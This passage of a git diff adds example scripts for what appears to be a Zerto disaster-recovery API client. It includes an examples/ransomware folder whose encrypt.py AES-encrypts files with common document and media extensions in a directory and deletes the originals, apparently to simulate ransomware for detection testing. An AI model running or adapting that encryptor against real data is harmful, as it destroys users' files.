client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get current license information + logging.info("\nFetching current license information...") + license_info = client.license.get_license() + if license_info: + logging.info("Current license details:") + logging.info(json.dumps(license_info, indent=2)) + else: + logging.info("No license currently installed") + + # If license key is provided, update the license + if args.license_key: + logging.info(f"\nUpdating license with new key...") + update_result = client.license.put_license(args.license_key) + if update_result: + logging.info("License update result:") + logging.info(json.dumps(update_result, indent=2)) + else: + logging.info("License updated successfully (no content returned)") + + # Get updated license information + logging.info("\nFetching updated license information...") + updated_license = client.license.get_license() + if updated_license: + logging.info("Updated license details:") + logging.info(json.dumps(updated_license, indent=2)) + + # Delete license (commented out for safety - uncomment if needed) + """ + logging.info("\nDeleting license...") + delete_result = client.license.delete_license() + if delete_result: + logging.info("License deletion result:") + logging.info(json.dumps(delete_result, indent=2)) + else: + logging.info("License deleted successfully (no content returned)") + + # Verify license is deleted + final_check = client.license.get_license() + if not final_check: + logging.info("License successfully removed") + """ + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/localsite_example.py b/examples/localsite_example.py new file mode 100644 index 0000000..a1fe9d1 --- /dev/null +++ b/examples/localsite_example.py @@ -0,0 +1,138 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Local Site Management Example Script + +This script demonstrates how to manage and retrieve information about the local Zerto site. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves local site information +3. Gets site pairing statuses +4. Sends usage data to Zerto +5. Manages login banner settings: + - Gets current banner configuration + - Sets a new test banner + - Verifies the updated settings + - Disables the banner + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/localsite_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Local Site Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get local site information + logging.info("\nFetching local site information...") + local_site = client.localsite.get_local_site() + logging.info("Local site details:") + logging.info(json.dumps(local_site, indent=2)) + + # Get pairing statuses + logging.info("\nFetching pairing statuses...") + pairing_statuses = client.localsite.get_pairing_statuses() + logging.info("Pairing statuses:") + logging.info(json.dumps(pairing_statuses, indent=2)) + + # Send usage data + logging.info("\nSending usage data...") + usage_result = client.localsite.send_usage() + if usage_result: + logging.info("Usage data result:") + logging.info(json.dumps(usage_result, indent=2)) + else: + logging.info("Usage data sent successfully (no content returned)") + + # Get current login banner settings + logging.info("\nFetching current login banner settings...") + current_banner = client.localsite.get_login_banner() + logging.info("Current login banner settings:") + logging.info(json.dumps(current_banner, indent=2)) + + # Set new login banner + test_banner = "This is a test login banner.\nAccess restricted to authorized users only." + logging.info("\nSetting new login banner...") + banner_result = client.localsite.set_login_banner( + is_enabled=True, + banner_text=test_banner + ) + logging.info("Login banner update result:") + logging.info(banner_result) + + # Verify the new banner settings + logging.info("\nVerifying updated login banner settings...") + updated_banner = client.localsite.get_login_banner() + logging.info("Updated login banner settings:") + logging.info(json.dumps(updated_banner, indent=2)) + + # Disable the login banner + logging.info("\nDisabling login banner...") + disable_result = client.localsite.set_login_banner( + is_enabled=False, + banner_text="" + ) + logging.info("Login banner disable result:") + logging.info(disable_result) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/peersites_example.py b/examples/peersites_example.py new file mode 100644 index 0000000..8fa1c91 --- /dev/null +++ b/examples/peersites_example.py @@ -0,0 +1,147 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Peer Sites Management Example Script + +This script demonstrates how to manage peer site relationships between Zerto Virtual Managers (ZVMs). + +The script performs the following steps: +1. Connects to two Zerto Virtual Managers (ZVMs) +2. Lists existing peer sites from site 1 +3. Checks for and removes any existing pairing with site 2 +4. Generates a pairing token at site 2 +5. Pairs site 1 with site 2 using the token +6. Verifies the pairing by checking the updated peer sites list + +Required Arguments: + --site1_zvm_address: Site 1 ZVM address + --site1_client_id: Site 1 Keycloak client ID + --site1_client_secret: Site 1 Keycloak client secret + --site2_zvm_address: Site 2 ZVM address + --site2_client_id: Site 2 Keycloak client ID + --site2_client_secret: Site 2 Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/peersites_example.py \ + --site1_zvm_address \ + --site1_client_id \ + --site1_client_secret \ + --site2_zvm_address \ + --site2_client_id \ + --site2_client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +import time +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Peer Sites Example") + parser.add_argument("--site1_zvm_address", required=True, help="site 1 ZVM address") + parser.add_argument('--site1_client_id', required=True, help='site 1 Keycloak client ID') + parser.add_argument('--site1_client_secret', required=True, help='site 1 Keycloak client secret') + parser.add_argument("--site2_zvm_address", required=True, help="site 2 ZVM address") + parser.add_argument('--site2_client_id', required=True, help='site 2 Keycloak client ID') + parser.add_argument('--site2_client_secret', required=True, help='site 2 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Initialize the site 1 client + site1_client = ZVMLClient( + zvm_address=args.site1_zvm_address, + client_id=args.site1_client_id, + client_secret=args.site1_client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Initialize the site 2 client + site2_client = ZVMLClient( + zvm_address=args.site2_zvm_address, + client_id=args.site2_client_id, + client_secret=args.site2_client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Example 1: Get all peer sites from site 1 + logging.info("\nExample 1: Getting all peer sites from site 1") + peer_sites = site1_client.peersites.get_peer_sites() + logging.info(f"Found {len(peer_sites)} peer sites:") + logging.info(json.dumps(peer_sites, indent=2)) + + # Check if site2 is already paired and delete if necessary + site2_already_paired = False + site2_identifier = None + for site in peer_sites: + if site['HostName'] == args.site2_zvm_address: + site2_already_paired = True + site2_identifier = site['SiteIdentifier'] + break + + if site2_already_paired: + logging.info(f"\nFound existing pairing with {args.site2_zvm_address}, deleting...") + site1_client.peersites.delete_peer_site(site2_identifier) + logging.info("Existing pairing deleted") + # Wait for deletion to complete + time.sleep(5) + + # Example 2: Generate pairing token at site 2 + logging.info("\nExample 2: Generating pairing token at site 2") + token = site2_client.peersites.generate_token() + logging.info("Generated token:") + logging.info(json.dumps(token, indent=2)) + + # Example 3: Pair site 1 with site 2 + logging.info(f"\nExample 3: Pairing site 1 with site 2 ({args.site2_zvm_address})") + pair_result = site1_client.peersites.pair_site( + hostname=args.site2_zvm_address, + token=token['Token'], + port=9071 + ) + logging.info("Pairing result:") + logging.info(json.dumps(pair_result, indent=2)) + + # Wait for pairing to complete + time.sleep(5) + + # Example 4: Verify pairing by getting updated peer sites list + logging.info("\nExample 4: Verifying pairing by getting updated peer sites list") + updated_peer_sites = site1_client.peersites.get_peer_sites() + logging.info(f"Found {len(updated_peer_sites)} peer sites:") + logging.info(json.dumps(updated_peer_sites, indent=2)) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/ransomware/create_dataset.py b/examples/ransomware/create_dataset.py new file mode 100644 index 0000000..b150abc --- /dev/null +++ b/examples/ransomware/create_dataset.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 + +import os +import argparse +import logging +import shutil + +def create_dataset(base_dir: str, number_of_files: int): + """Create test files filled with specific content.""" + try: + # Validate input + if number_of_files <= 0: + raise ValueError("Number of files must be positive") + + # Create directory if it doesn't exist + os.makedirs(base_dir, exist_ok=True) + + # Calculate required disk space (approximate) + required_space = number_of_files * 1024 * 1024 # 1MB per file + free_space = shutil.disk_usage(base_dir).free + + if free_space < required_space: + raise ValueError( + f"Not enough disk space. Need {required_space / (1024**3):.2f} GB, " + f"but only {free_space / (1024**3):.2f} GB available" + ) + + # Calculate how many lines we need for ~1MB file + # Each line is about 6 bytes (5 chars + newline) + # 1MB = 1048576 bytes + # Actual calculation: 1048576 / 6 = 174762.67 + lines_per_file = 174763 + + # Create files + for i in range(number_of_files): + file_path = os.path.join(base_dir, f"file{i:04d}.txt") + with open(file_path, 'w') as f: + for _ in range(lines_per_file): + f.write(f'file{i:04d}\n') + + # Log every 100 files + if (i + 1) % 100 == 0: + logging.info(f"Created {i + 1} files...") + + logging.info(f"Created dataset in {base_dir}") + logging.info(f"Total files created: {number_of_files}") + + # Log total size of the dataset + total_size = sum(os.path.getsize(os.path.join(base_dir, f)) + for f in os.listdir(base_dir)) + logging.info(f"Total dataset size: {total_size / (1024*1024):.2f} MB") + logging.info(f"Average file size: {total_size / (number_of_files * 1024*1024):.2f} MB") + + except Exception as e: + logging.error(f"Failed to create dataset: {str(e)}") + raise + +def main(): + parser = argparse.ArgumentParser(description="Create test dataset") + parser.add_argument("--base_dir", default="~/encryption_test", + help="Base directory for test files (default: ~/encryption_test)") + parser.add_argument("--number_of_files", type=int, required=True, + help="Number of files to create") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + # Expand user path (~/...) + base_dir = os.path.expanduser(args.base_dir) + + create_dataset(base_dir, args.number_of_files) + +if __name__ == "__main__": + main() diff --git a/examples/ransomware/decrypt.py b/examples/ransomware/decrypt.py new file mode 100644 index 0000000..ecf6367 --- /dev/null +++ b/examples/ransomware/decrypt.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python3 + +import os +import argparse +import logging +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +import base64 +import sys + +def generate_key(password: str) -> bytes: + """Generate an AES key from a password.""" + # Using a fixed key for testing (similar to PowerShell script) + key = "Q5KyUru6wn82hlY9k8xUjJOPIC9da41jgRkpt21jo2L=" + return base64.b64decode(key) + +def decrypt_file(file_path: str, key: bytes) -> bool: + """Decrypt a single file using AES.""" + try: + # Read the encrypted file + with open(file_path, 'rb') as file: + # Read IV (first 16 bytes) and encrypted data + iv = file.read(16) + encrypted_data = file.read() + + # Create AES cipher + cipher = Cipher( + algorithms.AES(key), + modes.CBC(iv), + backend=default_backend() + ) + decryptor = cipher.decryptor() + + # Decrypt the data + padded_data = decryptor.update(encrypted_data) + decryptor.finalize() + + # Remove padding + unpadder = padding.PKCS7(128).unpadder() + decrypted_data = unpadder.update(padded_data) + unpadder.finalize() + + # Write the decrypted data to a new file (remove .encrypted suffix) + decrypted_path = file_path.rsplit('.encrypted', 1)[0] + with open(decrypted_path, 'wb') as file: + file.write(decrypted_data) + + # Remove the encrypted file + os.remove(file_path) + + return True + + except Exception as e: + logging.error(f"Failed to decrypt {file_path}: {str(e)}") + return False + +def decrypt_directory(base_dir: str, password: str): + """Decrypt all encrypted files in the specified directory.""" + try: + # Generate decryption key + key = generate_key(password) + + # Get list of encrypted files + files = [] + for root, _, filenames in os.walk(base_dir): + for filename in filenames: + if filename.endswith('.encrypted'): + files.append(os.path.join(root, filename)) + + total_files = len(files) + + if total_files == 0: + logging.info("No encrypted files found") + return + + logging.info(f"Found {total_files} encrypted files") + + # Track progress + successful = 0 + failed = 0 + + # Process each file + for i, file_path in enumerate(files, 1): + logging.info(f"Decrypting {file_path}") + + if decrypt_file(file_path, key): + successful += 1 + else: + failed += 1 + + # Log progress every 100 files or at the end + if i % 100 == 0 or i == total_files: + logging.info(f"Processed {i}/{total_files} files...") + + # Log final results + logging.info("Decryption complete!") + logging.info(f"Successfully decrypted: {successful} files") + if failed > 0: + logging.warning(f"Failed to decrypt: {failed} files") + + except Exception as e: + logging.error(f"Decryption failed: {str(e)}") + raise + +def main(): + parser = argparse.ArgumentParser(description="Decrypt files in directory") + parser.add_argument("--base_dir", default="~/encryption_test", + help="Base directory containing files to decrypt (default: ~/encryption_test)") + parser.add_argument("--password", required=True, + help="Password for decryption (must match encryption password)") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + # Expand user path (~/...) + base_dir = os.path.expanduser(args.base_dir) + + # Verify directory exists + if not os.path.isdir(base_dir): + logging.error(f"Directory not found: {base_dir}") + sys.exit(1) + + decrypt_directory(base_dir, args.password) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/ransomware/encrypt.py b/examples/ransomware/encrypt.py new file mode 100644 index 0000000..ee47557 --- /dev/null +++ b/examples/ransomware/encrypt.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 + +import os +import argparse +import logging +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +import base64 +import sys + +def generate_key(password: str) -> bytes: + """Generate an AES key from a password.""" + # Using a fixed key for testing (similar to PowerShell script) + key = "Q5KyUru6wn82hlY9k8xUjJOPIC9da41jgRkpt21jo2L=" + return base64.b64decode(key) + +def encrypt_file(file_path: str, key: bytes) -> bool: + """Encrypt a single file using AES.""" + try: + # Read the original file + with open(file_path, 'rb') as file: + file_data = file.read() + + # Create an initialization vector + iv = os.urandom(16) + + # Create AES cipher + cipher = Cipher( + algorithms.AES(key), + modes.CBC(iv), + backend=default_backend() + ) + encryptor = cipher.encryptor() + + # Add padding + padder = padding.PKCS7(128).padder() + padded_data = padder.update(file_data) + padder.finalize() + + # Encrypt the data + encrypted_data = encryptor.update(padded_data) + encryptor.finalize() + + # Write the encrypted data to a new file + encrypted_path = f"{file_path}.encrypted" + with open(encrypted_path, 'wb') as file: + # Write IV first, then encrypted data + file.write(iv) + file.write(encrypted_data) + + # Remove the original file + os.remove(file_path) + + return True + + except Exception as e: + logging.error(f"Failed to encrypt {file_path}: {str(e)}") + return False + +def encrypt_directory(base_dir: str, password: str): + """Encrypt all files in the specified directory.""" + try: + # Generate encryption key + key = generate_key(password) + + # Define target file extensions (same as PowerShell script) + target_extensions = [ + '.pdf', '.xls', '.xlsx', '.ppt', '.pptx', '.doc', '.docx', + '.rtf', '.txt', '.csv', '.jpg', '.jpeg', '.png', '.gif', + '.avi', '.midi', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.ogg' + ] + + # Get list of files to encrypt + files = [] + for root, _, filenames in os.walk(base_dir): + for filename in filenames: + if any(filename.lower().endswith(ext) for ext in target_extensions) and \ + not filename.endswith('.encrypted'): + files.append(os.path.join(root, filename)) + + total_files = len(files) + + if total_files == 0: + logging.info("No files found to encrypt") + return + + logging.info(f"Found {total_files} files to encrypt") + + # Track progress + successful = 0 + failed = 0 + + # Process each file + for i, file_path in enumerate(files, 1): + logging.info(f"Encrypting {file_path}") + + if encrypt_file(file_path, key): + successful += 1 + else: + failed += 1 + + # Log progress every 100 files or at the end + if i % 100 == 0 or i == total_files: + logging.info(f"Processed {i}/{total_files} files...") + + # Log final results + logging.info("Encryption complete!") + logging.info(f"Successfully encrypted: {successful} files") + if failed > 0: + logging.warning(f"Failed to encrypt: {failed} files") + + except Exception as e: + logging.error(f"Encryption failed: {str(e)}") + raise + +def main(): + parser = argparse.ArgumentParser(description="Encrypt files in directory") + parser.add_argument("--base_dir", default="~/encryption_test", + help="Base directory containing files to encrypt (default: ~/encryption_test)") + parser.add_argument("--password", required=True, + help="Password for encryption") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + # Expand user path (~/...) + base_dir = os.path.expanduser(args.base_dir) + + # Verify directory exists + if not os.path.isdir(base_dir): + logging.error(f"Directory not found: {base_dir}") + sys.exit(1) + + encrypt_directory(base_dir, args.password) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/reports_example.py b/examples/reports_example.py new file mode 100644 index 0000000..6e0d5d0 --- /dev/null +++ b/examples/reports_example.py @@ -0,0 +1,41 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Reports Example + +Note: The reports functionality is demonstrated in vpg_failover_example.py, which includes: + +1. Recovery Reports: + - Getting recovery reports for VPGs + - Filtering reports by date range + - Getting specific recovery operation details + - Getting latest failover test reports + +2. Resource Reports: + - Getting resource reports with various filters + - Filtering by site, cluster, and organization + - Getting detailed resource information + +Please refer to vpg_failover_example.py for practical examples of using the reports functionality. + +You can run vpg_failover_example.py with: + python vpg_failover_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl + +For more information about the reports API, see the RecoveryReports class in zvml/recovery_reports.py +""" + +if __name__ == "__main__": + print(__doc__) \ No newline at end of file diff --git a/examples/server_date_time_example.py b/examples/server_date_time_example.py new file mode 100644 index 0000000..15f13ab --- /dev/null +++ b/examples/server_date_time_example.py @@ -0,0 +1,98 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Server Date-Time Example Script + +This script demonstrates how to retrieve server time information in different formats from a Zerto Virtual Manager (ZVM). + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves server time in three different formats: + - Local time + - UTC time + - Argument format (used for API parameters) +3. Displays the time information for each format + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/server_date_time_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +from zvml import ZVMLClient +from zvml.server_date_time import DateTimeFormat + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Server Date-Time Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Test all three date-time formats + logging.info("\nTesting all server date-time formats:") + + # Get local time + local_time = client.server_date_time.get_server_date_time(DateTimeFormat.LOCAL) + logging.info(f"\nLocal Time: {local_time}") + + # Get UTC time + utc_time = client.server_date_time.get_server_date_time(DateTimeFormat.UTC) + logging.info(f"UTC Time: {utc_time}") + + # Get argument format + arg_format = client.server_date_time.get_server_date_time(DateTimeFormat.ARGUMENT) + logging.info(f"Argument Format: {arg_format}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/service_profiles_example.py b/examples/service_profiles_example.py new file mode 100644 index 0000000..a780461 --- /dev/null +++ b/examples/service_profiles_example.py @@ -0,0 +1,111 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Service Profiles Example Script + +This script demonstrates how to retrieve and display service profile information from a Zerto Virtual Manager (ZVM). + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves service profiles (optionally filtered by site) +3. Displays detailed information for each profile: + - Profile name + - RPO settings + - History configuration + - Journal size limits + - Test intervals + - Profile description + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --site_identifier: Site identifier to filter profiles + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/service_profiles_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --site_identifier \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Service Profiles Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--site_identifier", help="Optional site identifier to filter profiles") + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get all service profiles + logging.info("\nFetching service profiles...") + profiles = client.service_profiles.get_service_profiles( + site_identifier=args.site_identifier + ) + + # Display service profiles information + if profiles: + logging.info(f"\nFound {len(profiles)} service profiles:") + for profile in profiles: + logging.info("\nService Profile Details:") + logging.info(f"Name: {profile.get('serviceProfileName')}") + logging.info(f"RPO: {profile.get('rpo')}") + logging.info(f"History: {profile.get('history')}") + logging.info(f"Max Journal Size: {profile.get('maxJournalSizeInPercent')}%") + logging.info(f"Test Interval: {profile.get('testInterval')}") + if profile.get('description'): + logging.info(f"Description: {profile.get('description')}") + logging.info("-" * 50) + else: + logging.warning("No service profiles found") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/tweaks_example.py b/examples/tweaks_example.py new file mode 100644 index 0000000..4804015 --- /dev/null +++ b/examples/tweaks_example.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Tweaks Management Example Script + +This script demonstrates how to manage Zerto system tweaks, which are advanced configuration settings. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Lists all available system tweaks +3. Sets a specific tweak value (t_ransomwareEngCuSumThrsDiff) +4. Displays the updated tweak details +5. Deletes the tweak setting +6. Verifies the deletion by listing tweaks again + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/tweaks_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import argparse +import logging +import urllib3 +import json +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from zvml.zvml import ZVMLClient +from zvml.tweaks import Tweaks +from zvml.common import ZertoTweakType + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def format_tweaks_table(result): + """Format tweaks into a table""" + # Calculate maximum lengths for formatting + max_name_len = max(len(str(tweak.get('name', ''))) for tweak in result) + max_value_len = max(len(str(tweak.get('value', ''))) for tweak in result) + max_type_len = max(len(str(tweak.get('type', ''))) for tweak in result) + max_comment_len = max(len(str(tweak.get('comment', ''))) for tweak in result) + + # Print header + header = f"{'Name':<{max_name_len}} | {'Value':<{max_value_len}} | {'Type':<{max_type_len}} | Description | {'Comment':<{max_comment_len}}" + logging.info(header) + logging.info("-" * len(header)) + + # Print tweaks in a formatted table + for tweak in result: + name = str(tweak.get('name', 'N/A')) + value = str(tweak.get('value', 'N/A')) + tweak_type = str(tweak.get('type', 'N/A')) + description = str(tweak.get('description', 'No description available')) + comment = str(tweak.get('comment', '')) + + logging.info(f"{name:<{max_name_len}} | {value:<{max_value_len}} | {tweak_type:<{max_type_len}} | {description} | {comment}") + + logging.info("-" * 80) + +def manage_tweaks(client: ZVMLClient): + """List and manage ZVM tweaks""" + tweaks = Tweaks(client) + + # Set a specific tweak + tweak_name = "t_ransomwareEngCuSumThrsDiff" + logging.info(f"\nSetting tweak {tweak_name}:") + updated_tweak = tweaks.set_tweak( + tweak_name=tweak_name, + value="5", + tweak_type=ZertoTweakType.ZVM, + comment="mycomment" + ) + + # List all tweaks + logging.info("\nListing all tweaks:") + result = tweaks.list_tweaks() + logging.info(f"Found {len(result)} ZVM tweaks:") + logging.info("-" * 80) + format_tweaks_table(result) + + # Show the specific tweak + logging.info("\nShowing specific tweak details:") + specific_result = tweaks.list_tweaks(tweak_name=tweak_name) + format_tweaks_table(specific_result) + + # Delete the tweak + logging.info(f"\nDeleting tweak {tweak_name}:") + tweaks.delete_tweak(tweak_name) + + # Verify deletion by listing all tweaks again + logging.info("\nVerifying deletion - listing all tweaks:") + result = tweaks.list_tweaks() + logging.info(f"Found {len(result)} ZVM tweaks:") + logging.info("-" * 80) + format_tweaks_table(result) + +def main(): + parser = argparse.ArgumentParser(description="ZVM Tweaks Management Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Setup client + client = setup_client(args) + + # Manage tweaks + manage_tweaks(client) + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/update_existing_vpgs_example.py 